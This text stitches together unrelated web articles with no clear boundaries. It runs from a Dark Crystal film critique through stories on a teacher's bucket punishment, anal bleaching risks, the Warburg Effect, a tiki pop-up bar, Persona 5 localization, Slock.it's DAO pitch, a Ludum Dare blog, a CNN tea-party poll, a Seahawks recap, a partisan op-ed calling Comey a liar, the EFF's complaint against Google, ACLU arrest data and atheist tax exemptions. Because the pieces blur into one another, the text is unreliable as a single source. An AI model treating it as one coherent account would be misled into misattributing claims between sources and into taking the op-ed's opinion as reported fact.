This shows up as a combination plot twist and joke: Kira, an animal-loving girl who joins Jen on his quest, is caught in a cliff-hanger and merely jumps off with a surprised Jen, only to float to the ground on her butterfly wings. When he asks how she got them, she just says that he only doesn’t have them because he’s a boy. It’s not a normal distinction to make: when it comes to wings, the typical earth creature will share their possession or lack thereof with their significant other.
The film’s exuberance to throwing out facts about their creatures give the story a fun sense that anything could happen. The quirkiness has a bit of logic to it, but only a tiny bit.
3. Cliches.
Not all of the world-building plot elements were clever. I’ve lumped a few lame plot point together here:
The Mystics’ Humming
While a cool audio element in a very visual world, the Mystics’ hums were one of the most offensively useful plot crutches I’ve ever seen. They hum to signal the end of a day. Jen copies their hums to make the crystal shard glow so that he can tell where it is. The Mystics use their hum to subdue the beetle-like Garthim. It’s a multi-purpose plot device, on par with a sonic-screwdriver.
Dreamfasting
When the two Gelflings touch, they experience each other’s lives or something. They were “dreamfasted.” This isn’t explained, and a mind meld has already been explored in plenty of sci-fi and fantasy tales. It allows them to communicate later in the film, though. Convenient. Did the past Gelflings constantly experience dreamfasting? Maybe they just tried not to touch each other until they found someone they didn’t mind telepathic chatting with.
The Animal Lover
Kira’s ability to talk to animals is random. No one else can talk to animals, but they threw it in there. Again, it’s far from original.
Orphans.
Enough said.
AdvertisementsA high school art teacher in San Diego is currently on administrative leave while officials investigate allegations that she refused to allow a 14-year-old female student to go to the restroom and instead made the student urinate in a bucket in the classroom.
The girl, who has filed a claim for Damages to Person or Property with the help of two attorneys, says the alleged incident took place during a Freshman Advisory class in February, according to KFMB-TV.
The claim, which is against the San Diego Unified School District and Patrick Henry High School, alleges that Wolf forbade the the student from going to the bathroom and directed and ordered her to urinate in a bucket during the class.
Wolf allegedly said this to the student in the presence of several the male classmates, adding that the girl could not leave the classroom regardless of the urgency of the situation and that she would have to urinate in a bucket.
Then, according to the claim, Wolf reportedly told the girl to empty the contents in an unused classroom sink.
Although the student tried to hide the event from others, the claim alleges that news of the incident spread throughout the San Carlos campus, which caused the student humiliation.
"As a result of said incident, (the student) has suffered emotional distress arising out of this humiliating and depraved punishment. She has been teased by classmates and remains extremely embarrassed," according to the March 8 claim filed by attorneys Brian Watkins and Paul Wong.
"We are working with the school district to figure out why this happened and to make sure it doesn't happen again," Watkins told the San Diego Union-Tribune.
The investigation will guide the administration in deciding what, if any, punishment should be meted out, a district official told the Los Angeles Times on Tuesday. In addition, the teachers' labor union has been notified of the complaint and investigation.
The claim lists damages in excess of $25,000 for psychological and medical treatment and also requests that the district pay the costs for the student to attend a private school for the remainder of her high school years.
Although the claim says that Patrick Henry apparently had a policy of not permitting students to use restroom facilities during class, District spokeswoman Linda Zintz told the San Diego Union-Tribune that was not a school policy.
However, she admitted school administrators had "made a recommendation to limit" bathroom breaks during student advisory periods because they only last 20 minutes.While it’s completely normal for the skin around the anus to be darker than the surrounding skin due to genetics or everyday friction, according to Dr. Rabia De Latour, M.D., a gastroenterologist at New York University’s Langone Medical Center, some women want to lighten the area. Here’s everything you need to know about anal bleaching:
1. Porn popularized the anal bleaching trend, which is still going strong.
It first gained traction in the early aughts after adult film actress Tabitha Stevens had her anus bleached on the unscripted series Dr. 90210 to look more pleasant on camera. Around the same time, U.S. search volume on the procedure peaked, according to Google Trends data. Several years later, Kourtney Kardashian revealed she’d tried anal bleaching during a 2010 episode of Kourtney and Kim Take Miami, and online queries for at-home anal bleaching products surged.
Anecdotally, people continue to show interest in lightening the intimate area: "It’s the treatment people ask us about the most," says licensed aesthetician Graceanne Svendsen, who manages Shafer Plastic Surgery and Laser Center in New York City, which receives up to 10 anal bleaching inquiries a week.
"We’ve noticed this is increasingly becoming a group activity," says Jamie Sherrill, R.N., owner of Beauty Park Medical Spa in Los Angeles and Abu Dhabi, adding that she’s even treated bachelorette parties.
2. The cheapest approach to anal bleaching is DIY, but it’s risky.
You can buy an at-home skin-bleaching serum, cream, or peel online or at a drugstore, salon, spa, or cosmetic surgeon’s office for $6 to $44. Depending on the product, it may contain ingredients such as hydroquinone, azelaic acid, Kojic acid, niacinamide, or other botanical extracts, all of which chemically exfoliate dead skin cells responsible for hyperpigmentation, aka skin darkening caused by excess pigment, according to Dr. Joshua Zeichner, M.D., New York City dermatologist and director of cosmetic and clinical research in dermatology at Mount Sinai Hospital.
The problem: Some chemicals in skin-lightening products, like kojic acid and hydroquinone, may be considered carcinogenic, as per data from the National Institute of Health. When you DIY, "you’re more likely to apply the product improperly, which can injure the area and increase the chance that the product gets into the rectum and enters the bloodstream," De Latour says, adding that it’s best to stick to products manufactured in the U.S. to minimize exposure to potentially dangerous ingredients.
Although each product’s directions may differ, you should always begin with clean, dry skin that’s free of cuts or infections, Dr. Zeichner says. Typically, you apply the product with clean hands, avoiding the anus itself. Then, you either leave it on or rinse it off shortly after. Results vary, but because OTC products are generally more mild than professional grade alternatives, according to Dr. Zeichner, it could take two to three months of applying the product as often as twice a day to see results, which can last up to six months.
3. Side effects of chemical bleaching products can seriously suck.
Beware of severe itching, burning, and stinging during and after treatment, Dr. Zeichner says. "Skin irritation is common when you use lightening creams, and it is even more likely to develop when you treat sensitive areas like perianal skin."
If you experience any adverse effects in response to a product, stop using it right away, thoroughly wash the affected area with a gentle cleanser, then apply a petroleum-based moisturizer, such as Vaseline, to form a protective seal over the skin, he says.
4. Professional anal bleaching can be pricey — but worthwhile, if you must.
Some spas, salons, and plastic surgeons offer the service for about $125 per session, according to Cindy Barshop, CEO and founder of VSpot Medi-Spa in New York City. Others, like the Unisex Intimate Bleaching Peel, offered at Svendsen’s office, cost up to $1,000 for three 30-minute treatments scheduled two weeks apart. You could see results after one session, but it will likely take several sessions to get the skin color you want, and you often need to apply lightening products at home between sessions. Like DIY bleaching, the results can last up to six months, Svendsen says.
Because professionals typically use more potent lightening products that deliver faster results than DIY options, according to Svendsen, exposure to professional-grade products could increase your chance of post-treatment irritation, Zeichner says.
The biggest benefit of going pro is peace of mind, since products are applied by technicians who can see what they’re doing, Dr. De Latour says.
5. You need to forgo sex during anal bleaching treatments.
To prevent skin infections, Svendsen recommends skipping sexual activities for three to five days post-treatment, even if the treated area isn’t irritated. And if the skin in the anal area is open or raw any time after treatment, you should continue to abstain, Zeichner says.
Because heat and friction can irritate your skin and cause hyperpigmentation that makes it harder to maintain anal bleaching results, either you should avoid waxing and laser hair removal, plus activities such as hot yoga, running, bathing, wearing a thong, and soaking in a hot tub — or exercise caution.
6. If you don’t want beauty products all up in your butt, there’s a laser bleaching alternative.
The treatment breaks down dark skin pigment into small particles that are later carried away by white blood cells. Although it can cause a hot, prickling sensation, in the area that’s treated, a prophylactic non-steroidal anti-inflammatory drug like ibuprofen can help, as can a topical numbing agent applied by your practitioner. The treatments can cost upwards of $375 per 20-minute session, like at Sherrill’s Los Angeles office. Expect to see results about a week after the first treatment, although you may need up to three sessions for optimal results, with touch ups every six to 12 months, Sherrill says.
7. Laser treatments have some uncomfortable side effects, too.
Afterward, the skin might swell and feel sunburned for a few days. In rare cases, it could irritate the anal canal lining and cause burns, which can result in permanent scarring, Dr. De Latour says.
8. Anal bleaching could cause anal strictures, which make pooping difficult.
Any of the bleaching treatments outlined above can lead to scarring (a.k.a. anal strictures), which could prevent the anus from properly stretching during bowel movements, and ultimately lead to constipation and pain while evacuating your bowels, according to Dr. De Latour. "This is a very sensitive area of the body, and there are no studies that show what the real risks of anal bleaching are," she says.
It’s why, if you spring for pro anal bleaching, it’s extra important to choose a provider with a dermatologist or gynecologist on staff to oversee the procedure, Dr. De Latour says. Alternatively, Dr. Zeichner suggests consulting a dermatologist about DIY products before using them.
The Bottom Line: Ultimately, any approach to anal bleaching can endanger your health for a temporary benefit: "With time the pigment producing cells come back. "If one of my patients told me they were considering doing this," Dr. De Latour says, "I’d warn them that the cosmetic benefit does not outweigh the health risks."
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now systematically perturb anything in the [computer] model and identify important components” of the Warburg Effect, Locasale said.
Dating back to work by Efraim Racker, a Cornell researcher who made seminal discoveries in the area in the 1970s, followed by advances in cancer and genetic research, it is “known now that almost every cancer gene has some capacity to induce the Warburg Effect,” making it fundamental to proliferative diseases, Locasale said.
Currently, the Warburg Effect is used in clinical practice to diagnose and monitor cancer. Doctors inject patients with radioactive glucose and then watch where it is consumed; tumors are a major source of consumption. Researchers are also exploring whether dietary interventions with less sugar and the use of diabetes drugs that lower glucose may impact the Warburg Effect to treat cancer.
Other co-authors include researchers from Harvard Medical School, Johns Hopkins University and the University of California, Davis.
The study was funded in part by the National Institutes of Health and the International Life Sciences Institute.The people of New Orleans must be on the nice list this year because Sippin’ Santa’s Surf Shack has made its way to The Big Easy! The tiki-inspired Christmas pop-up bar originated at New York City’s Boilermaker three years ago and has expanded to include pop-up locations at Chicago’s Lost Lake and our own Beachbum Berry’s Latitude 29. With the remnants of New Orleans’ fall heat finally fading away, I decided to test out the Christmas-themed tiki concoctions as a farewell to summertime and hello to holiday cheer.
Venue: Located in New Orleans’ French Quarter and only a short walk from bustling Bourbon Street, the gastropub is known for its inventive and island-inspired cocktails and cuisine, both revolving around the restaurant’s tiki theme. If you time your visit right, you might even catch the tunes of a New Orleans second line passing in front of the popular spot.
Décor: Latitude 29 has got the tiki-vibe covered! Entering the restaurant on any given day will transport you to a Polynesian paradise with bamboo beams, nautical relics, and a playlist of tunes that will make you feel like you are on a tropical vacation. For the purpose of Sippin’ Santa’s Surf Shack, the restaurant has been strung with colorful Christmas lights and tinsel, and shiny ornaments hang from the ceiling and walls. Of course, it wouldn’t be a tiki Christmas without some beachy Christmas music like “Mele Kelikimaka” playing in the background.
Cocktails: The menu, which is a compilation of drinks created by tiki cocktail experts from each host bar, comprises nine original cocktails, each served in specialty holiday glassware. The Don and Victor — created by Brad Smith of Latitude 29 — is a hot rum concoction with a spiced batter served in a mug imitating Santa’s head. On the opposite end of the spectrum is the Holiday Lei, from Boilermaker’s Samuel Gauthier, featuring sparkling wine, cranberry, and gin. These island cocktails will keep your mind off of the dropping temperatures by keeping you nice and warm inside and out.
Verdict: What’s not to love about getting your Christmas cheer on by sipping tiki cocktails inside the warmth of a festive bar? This pop-up has everything necessary to catapult you right into a holiday state of mind. Grab some friends, a holiday sweater, and a Hawaiian lei, and head over to this unique pop-up. After all, Santa Claus is watching, and he would definitely approve!When PlayStation Korea uploaded the Persona 5 title sequence for the game’s upcoming release in the country, fans noticed something: Ryuji Sakamoto’s shoes.
As Record China reports, fans were upset that his shoes depicted a Rising Sun Flag motif. Obviously, due to historical associations Korean people have with that flag, there will certainly be greater sensitivity to that sort of imagery.
This wasn’t the first time the sneakers caused controversy in South Korea. Last year, when the game was originally released in Japan, the shoes were the subject of Korean internet articles and heated online discussions. (You can read more about why this character might have this imagery on his sneakers right here.)
Yet, the opening uploaded to PlayStation Korea’s official YouTube channel seemed to show that this element of the game wasn’t localized for Korean gamers—which was actually somewhat surprising.
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PlayStation Korea, however, has since re-upped the title sequence, and Ryuji’s sneakers no longer have the Rising Sun mark. Instead, they are completely white, as you can see below.
PlayStation Korea told IT Media that it had accidentally uploaded the title sequence that wasn’t the Korean version. It also added that it had already changed the shoes out of consideration for the country’s Persona fans.
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Persona 5 will be released in South Korea on June 8.Slock.it UG commits to “The DAO”
Stephan Tual Blocked Unblock Follow Following Apr 28, 2016 Unlisted
We’re pleased to announce that Slock.it UG is now committed to submit its Proposal for the Universal Sharing Network powered by the Ethereum Computer and its ecosystem of apps/dapps to The DAO (http://daohub.org, forums are here).
DAOhub.org — the one to watch.
Unencumbered by a centralized control structure and at the center of arguably the most exciting technology development of the decade, The DAO will initially set its sights on the Blockchain + IoT economy but is ultimately free to engage on any product or services it may desire. With such powerful attributes, it’s no wonder this DAO is called The DAO.
We selected The DAO as a suitable DAO to submit our Proposal to because it has the most developed community, has committed to deploy the latest code from the Standard DAO Framework to the letter and has an unbeatable, amazing set of Curator signatories.
We have also observed The DAO for a little while and we know for a fact that this community in particular is passionate about the same objectives, shares our values, and has a profound drive to improve the IoT and sharing economy sector.
I’m also delighted to see that our friends at Mobotiq are readying to submit a Proposal to The DAO. Realizing that The DAO can and will receive a plethora of Proposals over its lifetime is the ‘ah-ha!’ moment where the full scope of the DAO will become apparent.
The DAO is a chance to support a multitude of early stage projects that could have tremendous impact in the future, yet there will be only be *one* DAO Creation.
Mobotiq, an exciting upcoming Proposal to the DAO
Following the community’s feedback, we will shortly make available a final version of our Proposal Overview to The DAO, encode its operational parameters in a smart contract, and submit it to the esteemed DAO Curator to verify its bytecode. Voting on the Proposal will start almost immediately after The DAO has completed its Creation.
For all DAO-related information, please visit DAOhub.org. We also encourage you to install and synchronize the official Ethereum Mist wallet at https://github.com/ethereum/mist/releases (this can take quite a few hours!).
Finally, we also highly recommend the DAOhub forums at https://forum.daohub.org/c/theDAO for any question you might have.When I was a cadet at the Academy, a group of my friends decided they wanted to train for a marathon, so I decided to join in. Having run a marathon, I quickly found that the Ludum Dare Game Jam, and the marathon running have some things in common.
Out like a Rabbit
One hard lesson I never seem to learn in all my years having to run to maintain physical fitness, is the lesson of pacing.
I go out like a rabbit. Look at all those people I’m passing, psssh. Marathon running is too easy.
Likewise, during my Ludum Dare Game Jam, I started out with a sprint. I felt very confident in making and finishing my game.
I’m Getting Passed
I then proceeded in the marathon to be passed by a bunch of people.
Grandmas and children are perhaps the worst to be passed by. Mutual friends you cheer on as they trot along in the distance.
After about 6 hours into the Game Jam, I made the mistake of checking other Game Jammers. So many cool ideas, that weren’t mine.
Pit Stops
Then it’s time to take a break. Maybe I shouldn’t have gone so hard at the beginning….
A needed break in the woods turns into a bit longer of a rest. Maybe I’ll slow down going through the water points.
In the Game Jam, I take a break and play some games, perhaps a couple hours too long.
The Wall
Then you hit the marathon wall. This is your first marathon, and you’re all dried up.
“Why did I @#$@#!@ sign up for this @#$@” I think to myself.
I begin to think maybe I’ll just stop, and say I got hurt. I am hurting after all.
Maybe I’ve got some other “priorities” I need to take care of first rather than finishing this game. Weekends are for relaxing first and foremost, right?
The Support
Then seemingly out of nowhere, that family member, dear friend, or random stranger cheers you on.
“Well, I can’t let them down.”
I got some good advice from my wife when I felt like quitting this Ludum Dare jam (last one I stopped early).
Rinse and Repeat
Who knows how many walls you’re going to hit on your first marathon. You don’t know because you’re a beginner. A n00b.
I thought I was done doubting myself after my wife’s pickmeup, but then I built my Unity file and a whole bunch of bugs I’ve never dealt with before hit me.
Just like I ate every power pill, water stop and rest stop in the marathon, trying to get energy to keep going, I’m distracting myself with Youtube videos and Twitter to release some steam as I methodically go through my game code line by line.
Walking
I tell people I ran a marathon, but really the last part has a lot of walking. It’s okay, a lot of beginners do it, except those Grandmas, they’re crazy.
At the finish line I decide to go for a trot as everyone cheers.
With my Game Jam bugs mostly fixed, I submit my game.
In the marathon I threw a blanket over myself and got a free massage. My energy completely demolished, but my first marathon completed. We all look tired, and talk about the race.
In the Ludum Dare, I submit my game, then reward myself by playing other games, and posting comments, talking about the Jam. I then proceed to eat some of my favorite food, pizza.
Press Continue?
That was the end of my Marathon running days. I don’t like running a whole lot honestly, even after 4 years at the Academy and 5 years in the Army. I learned a lot from my first marathon, and I’m sure I’d be better prepared for the future ones if I did them.
But I’m glad my first completed Ludum Dare entry is completed. I’ll be coming back for more in the future, and look forward to pacing myself better and taking what I’ve learned to do better.
What do you think the Ludum Dare Game Jam is like? Leave a comment below!
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Washington (CNN) - The Republican Party is split right down the middle between tea party movement supporters and those who do not support the two-and-a-half-year-old movement, according to a new national survey.
And a CNN/ORC International Poll released Thursday also highlights the differences in demographics, ideology, and temperament between the two camps. According to the survey, on some issues, the two wings of the GOP are in accord, but tea party activists and supporters do not speak for the entire Republican Party on issues such as the deficit, global warming, evolution, abortion, gay marriage, the Federal Reserve, the Department of Education, or Social Security.
Full results (pdf)
"Demographically, the tea party movement seems to hearken back to the 'angry white men' who were credited with the GOP's upset victory in the 1994 midterm elections," says CNN Polling Director Keating Holland. "Ideologically, it effectively boils down to the century-old contest between the conservative and moderate wings of the party."
According to the survey, roughly half (49 percent) of Republicans and independents who lean towards the GOP say they support the tea party movement or are active members, with roughly half (51 percent) saying that they have no feelings one way or another about the tea party or that they oppose the movement.
The poll indicates that demographically, tea party Republicans are more likely to be male, older, and college educated, with non-tea party Republicans more likely to be younger, less educated, female, and less likely to say they are born-again or evangelical. Both groups are predominantly white.
Nearly eight in ten tea party Republicans describe themselves as conservatives, with nearly half of non-tea party Republicans call themselves moderate, or in a few cases, liberal. But the differences are also a matter of temperament: 50 percent of tea party Republicans say they are "very angry" about the way things are going in the country today, compared to just 29 percent of their Republican counterparts.
How does all of that affect their views on the issues of the day?
"One of the biggest differences is on the relative importance of jobs versus the federal deficit. Most tea party Republicans say that Congress and President Barack Obama should pay more attention to the deficit," says Holland. "Most non-tea party Republicans say that reducing unemployment is more important than reducing the deficit."
But the "science" issue is also a strong divider. Nearly six in ten tea party Republicans say that global warming is not a proven fact. Most non-tea party Republicans disagree. Six in ten tea party Republicans say that evolution is wrong. Non-tea party Republicans are split on evolution. Six in ten tea party Republicans say the Department of Education should be abolished, but only one in five of their GOP counterparts holds that same view.
There is also disagreement on social issues: Tea party Republicans are roughly twice as likely to say that abortion should be illegal in all circumstances and roughly half as likely to support gay marriage. Tea party Republicans are also roughly twice as likely to believe that the Social Security system should be replaced, and although most Republicans on either side disagree with the assertion that Social Security is a lie and a failure, tea party GOPers are much more likely to embrace that view.
What will happen to the GOP next year if tea party Republicans don't get their way?
"Nearly half of them say that they are not very likely to support an independent presidential candidate next year - possibly because removing Obama from power is their overwhelming motivation, and they may recognize that bolting the party would ensure his re-election," says Holland.
Eight in ten tea party Republicans say that they would prefer a candidate who can beat Obama over one who agrees with them on top issues, so ideological purity may take a back seat to pragmatic politics in 2012 even if the GOP nominee is not a tea party favorite.
Non-tea party Republicans are somewhat more likely to consider voting for a third-party candidate, and place somewhat less emphasis on beating Obama.
"So it's possible that a bolt from the GOP may come from the moderates rather than the tea party activists and supporters. But there is no way to predict how people will react to inherently unpredictable events, so anything can happen," adds Holland.
The poll was conducted for CNN by ORC International September 9-11, with 446 Republicans and independents who lean towards the GOP questioned by telephone. The survey's overall sampling error is plus or minus 4.5 percentage points.
–CNN Deputy Political Director Paul Steinhauser contributed to this report.
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Live blog of CNN's first-ever Tea Party Republican DebateSANTA CLARA, Calif. -- For as much talent as the Seattle Seahawks have lost on defense over the past few weeks, they've still got quite a few playmakers left on that side of the ball.
C.J. Beathard can attest to that after the Seahawks hit and harassed him throughout their 24-13 victory over the San Francisco 49ers at Levi's Stadium on Sunday. Middle linebacker Bobby Wagner led the way with eight tackles, including two for loss, and an interception to strengthen what should be a solid case for defensive player of the year.
But this was a group effort, especially up front.
Seattle sacked Beathard three times, and eight players hit him at least once. The Seahawks held San Francisco to only 196 passing yards and gave 49ers fans little to cheer about until 67 seconds remained in the fourth quarter, when Jimmy Garoppolo made his San Francisco debut. Garoppolo took over when Beathard left the game with an injury, and he threw a touchdown pass as time expired.
The obvious qualifier applies. This defensive effort was against a one-win team with an overmatched rookie quarterback. But it was impressive nonetheless.
The Seahawks sacked C.J. Beathard three times and hit him 13 times as Seattle's defense controlled much of the game. AP Photo/John Hefti
What it means: The Seahawks remain a game behind the Los Angeles Rams in the NFC West standings with Los Angeles defeating the New Orleans Saints to improve its record to 8-3. Seattle is still struggling with slow starts on offense and an inability to run the ball. Russell Wilson was picked off on his first attempt Sunday, badly under-throwing Jimmy Graham. He wasn't sharp early but threw two touchdown passes in the second half. Wilson also ran for a score. Seattle's only touchdown in the first half came after Wagner's interception gave the offense a short field. Sunday's game followed a familiar pattern with Seattle's offense starting poorly then righting itself in the second half while the defense held strong throughout. It was again enough Sunday. Will it be enough against better opponents?
What I liked: The Seahawks were flagged for only six accepted penalties, which qualifies as a good day for this team. One of them -- an offensive pass interference call on running back J.D. McKissic -- was iffy at best. Penalties have been a problem for several seasons under Pete Carroll. It has been especially pronounced this year, as the Seahawks have been on pace to break the NFL's single-season record. One clean performance isn't nearly enough to declare it a problem solved, of course, but it's a good sign that the Seahawks went a week without getting in their own way with penalties.
Carroll proudly noted that Seattle only lost 35 yards via penalties in this game. "I'm probably over the top more than I should be for still six penalties," he said. "For us, that's way better, and the big, significant penalties didn't show up."
What I didn't like: The Seahawks still can't run the ball very well, not even against the NFL's worst run defense. San Francisco entered the game allowing an average of 133.5 yards per game, the most in the league. But Seattle could manage only 90 yards, with 25 of them coming from Russell Wilson. If the Seahawks couldn't get their running game going Sunday -- with Luke Joeckel back at left guard following his five-game absence -- will they at any point this season? Carroll said Mike Davis will be back this week. He didn't play Sunday because of a groin injury that cut short his impressive Seahawks debut last week.
What you need to know in the NFL
• Statistics
• Scoreboard
• 2017 schedule, results
• Standings
Fantasy fallout: Thomas Rawls has apparently fallen pretty far down Seattle's depth chart at running back. He was active for this game after being a healthy scratch Monday night, but he hardly played. Eddie Lacy led Seattle with an unspectacular 46 yards on 17 carries. McKissic started the game and added 46 yards on four carries and four receptions.
Graham scores again: Jimmy Graham's latest touchdown moved him into the Seahawks' record books. He now has 16 touchdowns since joining Seattle in 2015, which breaks a tie with Jerramy Stevens for most by a tight end in franchise history. Graham's eight touchdowns this season have all come over the past seven games. Everyone knew where the ball was going when Graham had a one-on-one with a defensive back at the 1-yard line. Instead of the fade pass that has become nearly automatic for Seattle, Graham ran a quick slant and Wilson hit him for an easy score. That made up for a drop Graham had on third down earlier in the game.
What's next: The Seahawks return home for a Sunday night game against the Philadelphia Eagles (10-1), who have been far and away the NFC's best team. That will begin the toughest stretch of Seattle's schedule. After Philadelphia, Seattle has a cross-country trip to visit the Jacksonville Jaguars for a 1 p.m. ET game, then host the Rams in a game that will go a long way toward determining the NFC West champion. Seattle's Christmas Eve game at the Dallas Cowboys the following week won't be easy, with running back Ezekiel Elliott expected to return from his suspension.Illustrating that FBI Director James Comey is a liar and a fraud, his agency helped convict a Navy reservist last summer of the same crime that he just cleared Hillary Clinton of committing. In that case the reservist from northern California got criminally charged — as per FBI recommendation — for having classified material on personal electronic devices that weren’t authorized by the government to contain such information.The FBI investigation didn’t reveal evidence that the reservist intended to distribute classified information to unauthorized personnel, so he was just being “extremely careless” like Clinton and her top aides.Similar offenses, vastly different outcome. The key factor, of course, is that one subject is a regular Joe without Clinton-like political connections. His name is Bryan H. Nishimura and last July he pleaded guilty to unauthorized removal and retention of classified materials after the FBI found such materials were copied and stored in at least one “unauthorized and unclassified system.” Clinton had droves of classified and top secret materials in an “unauthorized and unclassified system.”Nishimura had been deployed to Afghanistan as a regional engineer for the U.S. military and had access to classified briefings and digital records that could only be retained and viewed on authorized government computers, according to the FBI announcement, which defines the reservist’s crime in the following manner; “handled classified materials inappropriately.”So did Clinton on a much larger scale.Last July Nishimura pleaded guilty to “unauthorized removal and retention of classified materials” and was sentenced to two years of probation, a $7,500 fine and forfeiture of personal media containing classified materials. He was further ordered to permanently surrender all government security clearances.Hillary Clinton could soon have the highest security clearance available if she gets elected president, making Comey’s inconceivable recommendation that “no charges are appropriate in this case” all the more outrageous.Incredibly, during his 15-minute press conference last week Comey provided details of how Clinton violated the law by exchanging dozens of email chains containing classified and top secret information and how she mishandled national defense information on her outlaw email server.The FBI director even outlined how Clinton compromised the country’s national defense to “hostile actors,” yet he asserts Clinton and her cohorts didn’t intend to break the law.“Although we did not find clear evidence that Secretary Clinton or her colleagues intended to violate laws governing the handling of classified information,” Comey said, “there is evidence that they were extremely careless in their handling of very sensitive, highly classified information.”Enough to be criminally charged like the Navy reservist from northern California.When Comey, the federal prosecutor in the Martha Stewart case, put the television celebrity in jail for participating in an insider trading scheme, he acknowledged the importance of not granting special treatment to a rich and famous person.Stewart went to prison for obstructing justice and lying to investigators about a sudden stock sale that helped her avoid losing thousands of dollars.In an interview with hisa few years after Stewart’s conviction Comey, then U.S. Attorney for the Southern District of New York, said that if Stewart were Jane Doe she would have been prosecuted. “I thought of my hesitation about the case due to someone being rich and famous, and how it shouldn’t be that way,” Comey said. “I decided we had to do it.”Google’s “do no evil” motto is being challenged this week in a complaint charging the company with secretly collecting and storing data on school children through its Chromebook and Apps for Education program.
The complaint, filed by the Electronic Frontier Foundation with the FTC, accuses Google of unfair and deceptive business practices for monitoring the online activity of students who use its Chrome browser without obtaining their permission.
The EFF found that Google’s Chrome browser has its “Sync” feature enabled by default on Chromebook laptops the company has sold to schools through its educational program. “This allows Google to track, store on its servers, and data mine for non-advertising purposes, records of every Internet site students visit, every search term they use, the results they click on, videos they look for and watch on YouTube, and their saved passwords,” the civil liberties group said in a statement. “Google doesn’t first obtain permission from students or their parents and since some schools require students to use Chromebooks, many parents are unable to prevent Google’s data collection.”
This directly violates a privacy agreement Google signed, along with about 200 other companies, promising to refrain from collecting, using, or sharing the personal information of students except for legitimate educational purposes or when parents grant permission.
But Google’s actions don’t just violate the privacy agreement it pledged to uphold; they also violate the Federal Trade Commission rules against deceptive business practices.
“Minors shouldn’t be tracked or used as guinea pigs, with their data treated as a profit center,” EFF Staff Attorney Nate Cardozo said in a statement. “If Google wants to use students’ data to ‘improve Google products,’ then it needs to get express consent from parents.”
Google has already told EFF that it will turn off the “Sync” feature for schools. But EFF wants the FTC to investigate Google’s conduct and prevent it from using the personal information of students for any purpose other than educational. The group also wants the FTC to order Google to destroy any information about students it has already collected through its school apps program.
This isn’t the first time Google has come under fire for privacy violations involving its Apps for Education program. Last year the company was hit with a lawsuit over claims that it was conducting illegal wiretapping by scanning the contents of student email messages in order to deliver targeted ads to students in the Apps program. Google asserted in court documents that it did not display ads in the suite of apps included in its Apps for Education toolset distributed to schools, but admitted that it “does scan [student] email” to “compile keywords for advertising” on Google sites that students in the program visit. Students who used the apps on the school-issued Google Chromebooks were tracked as they logged into their Gmail accounts. The company eventually agreed to halt the scanning.
Student-issued laptops have been in the news for other privacy violations unrelated to Google. In 2010, a school district in Pennsylvania secretly snapped thousands of images of students using the webcams in their school-issued laptops. Some of the images captured students at home, in bed and even partially dressed. Although the school insisted the cameras were activated only a handful of times after a laptop was reported stolen or missing, this proved to be untrue after thousands of images were discovered that had been taken from laptops never reported lost or stolen.
The complaint against Google is more widespread since it affects schools throughout the country that are using its Chromebooks; though the precise privacy violations alleged against the tech giant are much less invasive than the webcam scandal.
Update 3pm PST: To add info about previous lawsuit filed against Google for scanning student email.Black people in Minneapolis nine times more likely to be arrested for petty crime
Black people in Minneapolis are 8.7 times more likely to be arrested for low-level offenses than white people, according to an investigation by the American Civil Liberties Union (ACLU).
The research into racial disparities in policing also found that native American people were 8.6 times more likely to be arrested for low-level offenses than white people.
White youth, however, while making up 40% of the city’s youth population, accounted for only 14% of youth arrests.
The findings are based on Minneapolis police department figures, secured through a freedom of information request, on more than 96,000 low-level arrests between 1 January 2012 and 30 September 2014.
The research comes after one teenager’s encounter with the police was captured on a cellphone in which a police officer in the city is filmed telling him: “Plain and simple: if you fuck with me, I’m gonna break your legs before you get a chance to run.”
The footage was captured by 17-year-old Hamza Jeylani. Faysal Mohamed, who was in the car with Jeylani when he was arrested, told the ACLU that he had been detained several times. “I have to watch my back because the police are targeting me and targeting people like me,” he said.
Forty percent of all youth arrests were for curfew violations; Minneapolis teenagers between 15 and 17 must be home by 11pm on weekdays, and midnight on weekends. But despite 40% of the city’s youth population being white, white youth made up only 17% of curfew charges – 56% of which were against black youth.
“In poor and minority neighborhoods of Minneapolis, the police aren’t seen as guardians who serve and protect,” the report says. “Rather police officers are viewed suspiciously as oppressors who harass and arrest.”
The study also discovered huge disparities in numbers of low-level arrests made by individual officers. The median number citywide for low-level arrests, the study shows, was 51; but the officer with the highest number racked up an astonishing 2,026 arrests in that time-period, and the next seven made just over a thousand each – the vast majority of them in poor black neighbourhoods.
“The Minneapolis Police Department’s own data speaks for itself: To be a person of color in the city is to be over policed, with law enforcement aggressively arresting people for low-level offenses. The damage in turn is twofold: police-community relations are destroyed and public safety suffers,” said the report, though it commended Minneapolis’s police chief, Janee Harteau, for introducing “implicit bias training” and a pilot project for body cameras in the city.
Emma Andersson, a staff attorney at the criminal law reform project at the ACLU and one of the authors of the project, told the Guardian that “the stark racial disparities in this data reaffirm and strengthen my resolve to keep calling out injustices and keep doing what I can to make the reality of policing in this country live up to our ideals.”
“These disparities are unacceptable and this analysis adds to a growing body of ACLU data analyses that demonstrate that law enforcement across the nation are over and inequitably policing communities of color and that police practices are in need of sweeping reform,” Andersson said.
Nekima Levy-Pounds, a professor of law at the University of St Thomas in Minneapolis, and president of the city’s branch of the NAACP, told the Guardian that she applauded the ACLU for their analysis. “It’s very disturbing to see that African Americans and Native Americans continue to face oppression within our criminal justice system,” she said. “I think that the results of the ACLU’s findings show that there is a need to overhaul our system of policing.”
Neither Minneapolis police department nor the office of the mayor responded to a request by the Guardian for comment."We are not a church," atheists say. Government lawyers disagree, saying atheist leaders can be considered ministers.
Co-president Annie Laurie Gaylor of the Freedom From Religion Foundation stands in front of the door at the foundation's Madison, Wis., headquarters in 2007. (Photo11: Morry Gash, AP) Story Highlights Atheist group says ministers' housing allowance gives religious groups unfair advantage
Tax-rule changes in past decade have limited deduction to fair market rental value of house
IRS says belief in a god is not required to qualify because some religions don't
The federal government wants to give Annie Laurie Gaylor a tax break for leading an atheist group.
Gaylor, head of the Madison, Wisc.-based Freedom From Religion Foundation, wants to stop them — and she's asking a federal judge for help.
STORY: Study questions breaks for religious groups
BLOG: Do you give at church for tax deductions?
The standoff is the latest twist in a court battle over the parsonage exemption for clergy, a tax break that allows "ministers of the gospel" to claim part of their salary as a tax-free housing allowance.
Gaylor's organization says the exemption gives religious groups an unfair advantage. That makes it unconstitutional, the foundation's lawsuit claims.
But government lawyers say that atheist leaders can be ministers, too, since atheism can function as a religion. So leaders of an atheist organization may qualify for the exemption.
No thanks, Gaylor said.
"We are not ministers," she said. "We are having to tell the government the obvious: We are not a church."
